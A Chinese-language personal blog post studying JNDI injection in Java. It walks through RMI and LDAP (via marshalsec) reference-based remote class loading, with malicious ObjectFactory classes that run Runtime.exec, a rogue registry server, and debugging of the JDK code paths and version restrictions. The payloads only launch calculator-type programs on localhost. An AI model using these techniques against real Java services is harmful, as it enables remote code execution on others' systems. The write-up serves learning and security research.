沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

JNDI注入の个人拙见

0x00 前言


3号来的学校,现在已经11号了,大半月了,Pickle的练习写了几题也不想写了,别的也啥没学….每天不坚持写东西,真的会不知不觉间放弃学习。服务器还有40多天到期,本来想续费,结果阿里云原学生机,不能优惠续费了,只能原价续费(¥1400),真是天使呢🤗。它把原来的每年优惠续费换成了一个天使的免费领学生机x个月如果完成了训练还能免费续费x天,真是天使。不过还搞了一个老用户96每年,可当前价续费3年的1核2G,配置和学生机一样,而且好像原来学生机一年是114,看起来很好,实际是个大天使,它旁边还有一个面向新用户的99每年,当前价续费3年,配置是2核2G,存储盘还更大更好😅,我不能买。你说天使不天使,虽然我重新买96的看起来很好,毕竟我也不能当几年学生了,但是我反正都要重新配置,为什么不去用腾讯首年60,带宽为6M的捏….

废话了一大堆,本篇包含以下元素:

  • JNDI的介绍
  • 如何利用JNDI进行反序列化攻击

懒狗把写的Demo都放到Github了(chenlvtang/JavaUnserialization),可以fork一份来自己学一学

0x01 JNDI


简单介绍

JNDI的全名为’Java Naming and Directory Interface’,即Java命名和目录接口。通过它我们可以用一个统一的格式来调用RMI、JDBC、LDAP、DNS等服务,并且可以实现配置与业务的解耦,一个常见的例子就是JDBC的连接,在没有JNDI的情况下,我们常常用以下方式来连接:

try { 
    Class.forName("com.mysql.jdbc.Driver"); 
    conn=DriverManager.getConnection("jdbc:mysql://test?user=admin&password=wow"); 
    conn.close(); 
}catch(Exception e) { 
    e.printStackTrace(); 
}  

但是当我们需要更换MySQL为SQLServer的时候,又需要在代码中去修改;或者,当我们需要更换MySQL数据库时,就要去代码中改变连接方式或者密码与用户。这样显然是非常不好的,于是JDNI便发挥了作用。我们可以在Tomcat的/conf/context.xml中进行如下配置:

<Resource name="mysql-jndi-test"
  auth="Container" 
  type="javax.sql.DataSource"
  driverClassName="com.mysql.jdbc.Driver"
  url="jdbc:mysql://192.168.4.5:3306"
  username="root"
  password="pwd"
  maxActiv ="20"
/>
<Resource name="sqlserver-jndi-test"
  auth="Container" 
  type="javax.sql.DataSource"
  driverClassName="com.sqlserver.jdbc.Driver"
  url="jdbc:mysql://192.168.4.5:3306"
  username="root"
  password="pwd"
/>

然后在web.xml中引入:

<resource-ref>
  <description>jndi data source test</description>
  <res-ref-name>mysql-jndi-test</res-ref-name>
  <res-type>javax.sql.DataSource</res-type>
  <res-auth>Container</res-auth>
</resource-ref>

<resource-ref>
  <description>jndi data source test</description>
  <res-ref-name>sqlserver-jndi-test</res-ref-name>
  <res-type>javax.sql.DataSource</res-type>
  <res-auth>Container</res-auth>
</resource-ref>

之后我们就能够在代码中很方便的连接和更换数据库:

try {
    Context context = new InitialContext();
    //根据资源名称搜索
    dataSource = (DataSource)context.lookup("java:comp/env/mysql-jndi-test");
    Connection conn = dataSource.getConnection();
} 
//...

可以看到,这时候如果我们需要更换数据库,只需要简单的改一个名字就好了,十分的方便与快捷捏😋。(事实上,上面的配置我自己没试过,大家体会下JDNI的应用就好了)

改写RMI

上面说到,通过JNDI我们可以用一个统一的格式来调用RMI、JDBC、LDAP、DNS等服务,这里我们就用JNDI来改写一下之前写过的RMI程序(关于Java中RMI的个人拙见)。

接口类和接口实现类不需要修改,只需要修改服务端和客户端:

//服务端
public class myServer {
    public static void main(String[] args) throws RemoteException, MalformedURLException {
        try {
            LocateRegistry.createRegistry(1099);

            Properties env = new Properties();
            env.put(Context.INITIAL_CONTEXT_FACTORY,
                    "com.sun.jndi.rmi.registry.RegistryContextFactory");
            env.put(Context.PROVIDER_URL,
                    "rmi://127.0.0.1:1099");
            Context ctx = new InitialContext(env);
            RemoteInterface myRemote = new RemoteImpl();

            ctx.rebind("myRMI", myRemote);
            ctx.close();
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

中间那一坨是JNDI的初始化,然后我们还要对客户端进行一些修改:

//客户端
public class myClient {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
        try {
            String url = "rmi://127.0.0.1:1099/myRMI";
            Context ctx = new InitialContext();
            RemoteInterface myRemote = (RemoteInterface)ctx.lookup(url);
            String result = myRemote.sayHello("chenlvtang");
            System.out.println(result);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

然而我现在并没有体会到JNDI对RMI有什么帮助,大概就是如果调用了LDAP啥的,可以有一个统一的格式调用吧…

0x02 JNDI注入


Reference类

之前我们的绑定都是直接将类与名字进行绑定,但有时候一个类如果太大了的时候,就不太适合了。Java为此定义了Naming.Reference类,使我们可以绑定引用来实现类的绑定。使用方法如下:

Reference reference = new Reference("Exploit","Exploit","http://127.0.0.1/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);

Reference中的第一个参数为ClassName,第二个参数为FactoryClassName,第三个参数为FactoryURL。当客户端进行lookup时,会先在本地(CLASSPATH)中寻找名字为FactoryClassName的类,如果不存在,则会到FactoryURL(支持HTTP或者FTP、File协议)中去寻找FactoryClass,然后使用FactoryClass.newInstance()来实例化。

可以看到,这里存在一个远程类的调用问题,如果客户端lookup的参数可被控制,那么就有可能将恶意类在客户端中执行。JNDI注入正是基于此,并借用RMI和LDAP来实现攻击(这两个都可返回reference类)。

动态协议转换

在JNDI中,客户端的lookup参数存在动态协议转换,即使服务端或者客户端指定了Context.PROVIDER_URL, 但lookup参数函数会根据你提供的协议,进行不同的调用。所以当客户端的lookup参数可控时, 我们可以在自己的主机上搭起一个RMI或者LDAP服务器来进行攻击,而不用管代码实际上是进行哪种服务的lookup。

0x03 RMI-JNDI


思路

要利用RMI服务进行JNDI注入,需要JDK版本小于6u132、7u122、8u113,因为在之后的版本之中,设置了com.sun.jndi.rmi.object.trustURLCodebase=false。这个参数对我们的影响,我们将在后面的代码调试中来具体分析,现在我们先来理清一下利用JNDI进行攻击的思路:

  • 客户端JNDI的lookup参数可控(注意一定要使用JNDI,原因见后面的调试)
  • 攻击者搭建一个Web服务器或者FTP服务器(File协议用于本地文件的访问),里面存放了精心构造的恶意类
  • 攻击者构造一个Reference,并bind到注册中心
  • 当客户端lookup我们的恶意类的时候,就会触发攻击

编写和部署恶意类

public class hacker{
    public hacker() throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }
}
  • 使用命令javac hacker.java来编译生成hacker.class,然后新建一个文件夹,把class放进去。
  • 使用命令python3 -m http.server 80,来以当前文件夹为根目录搭起一个http服务

构造恶意服务端

public class hackerServer {
    public static void main(String[] args) throws Exception{
        Registry hackerRegister = LocateRegistry.getRegistry(1099);
        Reference reference = new Reference("hacker","hacker","http://127.0.0.1/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        hackerRegister.bind("test",referenceWrapper);
    }
}

攻击

  • 先运行RMI服务端(如果在恶意服务端里创建了注册中心,就可以不用启动RMI服务端,我这里没写)
  • 然后再运行恶意服务端
  • 控制客户端的lookup参数,来访问"rmi://127.0.0.1:1099/test"

😋然后就是…..虽然成功执行了命令,但是得到一个完美的报错捏:

image-20210914094125397

问题不大,让我们重新写一下恶意类

恶意类的重新构造

搜索这个类,发现一个接口,所以我们就让恶意类实现一下:

public class hacker implements ObjectFactory  {
    public hacker() throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

成功执行,下面就让我们来调试,分析一下利用点吧🤗

调试

一步步调试直到命令执行,我们得到了如下的堆栈:

getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:18, myClient (edu.myJNDI.client)

getObjectInstance部分代码如下:

if (ref != null) {
    String f = ref.getFactoryClassName();
    if (f != null) {
        // if reference identifies a factory, use exclusively

        factory = getObjectFactoryFromReference(ref, f);
        if (factory != null) {
            return factory.getObjectInstance(ref, name, nameCtx,
                                             environment);
        }
        // No factory found, so return original refInfo.
        // Will reach this point if factory class is not in
        // class path and reference does not contain a URL for it
        return refInfo;
} else {//...

查看触发处,是一个函数factory = getObjectFactoryFromReference(ref, f);,进入查看:

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class clas = null;
    // Try to use current class loader 先从本地加载
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.
    // Not in class path; try to use codebase 不在本地,则再远程加载
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);//在这里load了我们的远程类
        } catch (ClassNotFoundException e) {
        }
    }
    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;//实例化触发我们的恶意类的构造函数,从而执行了命令
}

看到这里我们就能理解之前的报错和我们是如何成功执行命令的了(另外这里还显示了上文说过的现在本地查找再远程查找的代码)。之所以报错,是因为这里的(ObjectFactory) clas.newInstance()进行了转换;而命令的成功执行,同样得益于(ObjectFactory) clas.newInstance()的实例化,Java在实例化的时候,会初始化构造函数和static代码块,所以我们也可以写一个static的方法来试试:

public class hacker implements ObjectFactory  {
    // public hacker() throws Exception{
    //     Runtime.getRuntime().exec("calc.exe");
    // }
    static{
        try{
            Runtime.getRuntime().exec("calc.exe");
        }catch(Exception e){
        }
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

值得注意的是,我们留意到getObjectInstance中还有return factory.getObjectInstance(ref, name, nameCtx,environment);,在这里调用了我们远程类中的getObjectInstance方法,而这在我们的恶意类中是可以重写的,所以这里又多了一个触发点,我们可以在其中构造payload。下面就让我们把payload总结一下吧😋

Payload总结

三种方法,每个都调用不同的Windows程序看看:

public class hacker implements ObjectFactory  {
    public hacker() throws Exception{
        Runtime.getRuntime().exec("mspaint.exe");
    }

    static{
        try{
            Runtime.getRuntime().exec("calc.exe");
        }catch(Exception e){
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("notepad.exe");
        return null;
    }
}

很顺利的调用了三个程序😋:

image-20210914110227082

版本限制

上面我们使用的未进行限制的版本,下面我们使用8u113以上的JDK8来运行看看:

image-20210914111201710

可以看到,报错了,并告诉我们要把com.sun.jndi.rmi.object.trustURLCodebase=false设置为true,跟进代码,发现以下decodeObject:RegistryContext (com.sun.jndi.rmi.registry)多了验证部分:

image-20210914111837111

0x04 LDAP-JNDI


思路

LDAP的利用思路是一样的,它同样可以返回reference类,只是Java对LDAP的限制的比较晚😋,所以我们可利用的版本也就更多了。在6u211、7u201、8u191、11.0.1之前的版本都能够成功调用。

恶意类的编写和部署

就拿上面那个总结的payload吧,然后部署的话,也还是一样。

构造恶意服务端

由于我并不知道LDAP的服务端怎么写,并且我现在也并不清楚LDAP服务在Java中的调用原理,所以我构造不出😅。在网上找这部分资料的时候,大家也都和我一样懒狗,分析完RMI就懒得分析LDAP了,虽然这两个触发点是一样的,但是好歹讲讲LDAP是如何运行的啊…所以我只能像他们一样,利用工具mbechler/marshalsec来起一个LDAP服务器,并且它贴心的帮我们设置了Reference。有空懒狗去深入研究下

首先我们在Github上把源代码下载下来,然后用IDEA打开,这时候Maven会帮我自动下载好依赖,然后使用maven命令mvn clean package -DskipTests来打包成jar。

打包好后,使用命令java -cp ./marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#hacker来开启LDAP服务:

  • -cp 指定class的路径,即marshalsec.jar中的marshalsec.jndi.LDAPRefServer
  • http://127.0.0.1/#hacker 即为我们的codebase地址(FactoryURL)加上FactoryClass
  • 其实最后还可以带上一个端口,用来指定LDAP服务的端口,如果不指定则默认是1389

攻击

  • 搭起一个恶意服务端
  • 控制客户端lookup的URL为"ldap://127.0.0.1:1389/xxx"进行访问,我发现甚至都不用像RMI一样指定键名,具体原因可能和LDAP有关

调试

一步步调试,直到触发漏洞,查看到调用栈如下:

getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
main:19, myClient (edu.myJNDI.client)

可以看到,除了多了几个lookup之外,触发点是相同的

image-20210915091507934

接着我们来调试一下高版本,来看看限制,发现clas = helper.loadClass(factoryName, codebase);没有成功调用,跟进发现,存在限制:

image-20210915092031104

跳转到声明,这个变量是来自com.sun.jndi.ldap.object.trustURLCodebase

image-20210915092652219

结束,以后再来填坑

0x05 参考


Java安全:JNDI注入. 关于JNDI注入的讨论和研究,起源于国外的安全研究员@pwntester在201… | by m01e | Medium

攻击Java中的JNDI、RMI、LDAP(二) - Y4er的博客

Java安全之JNDI注入 - 安全客,安全资讯平台 (anquanke.com)

Java安全之JNDI注入 - nice_0e3 - 博客园 (cnblogs.com)

JavaSec jndi注入利用分析 | thonsun’s blog

JNDI注入原理及利用 - 先知社区 (aliyun.com)

搞懂RMI、JRMP、JNDI-终结篇 - 先知社区 (aliyun.com)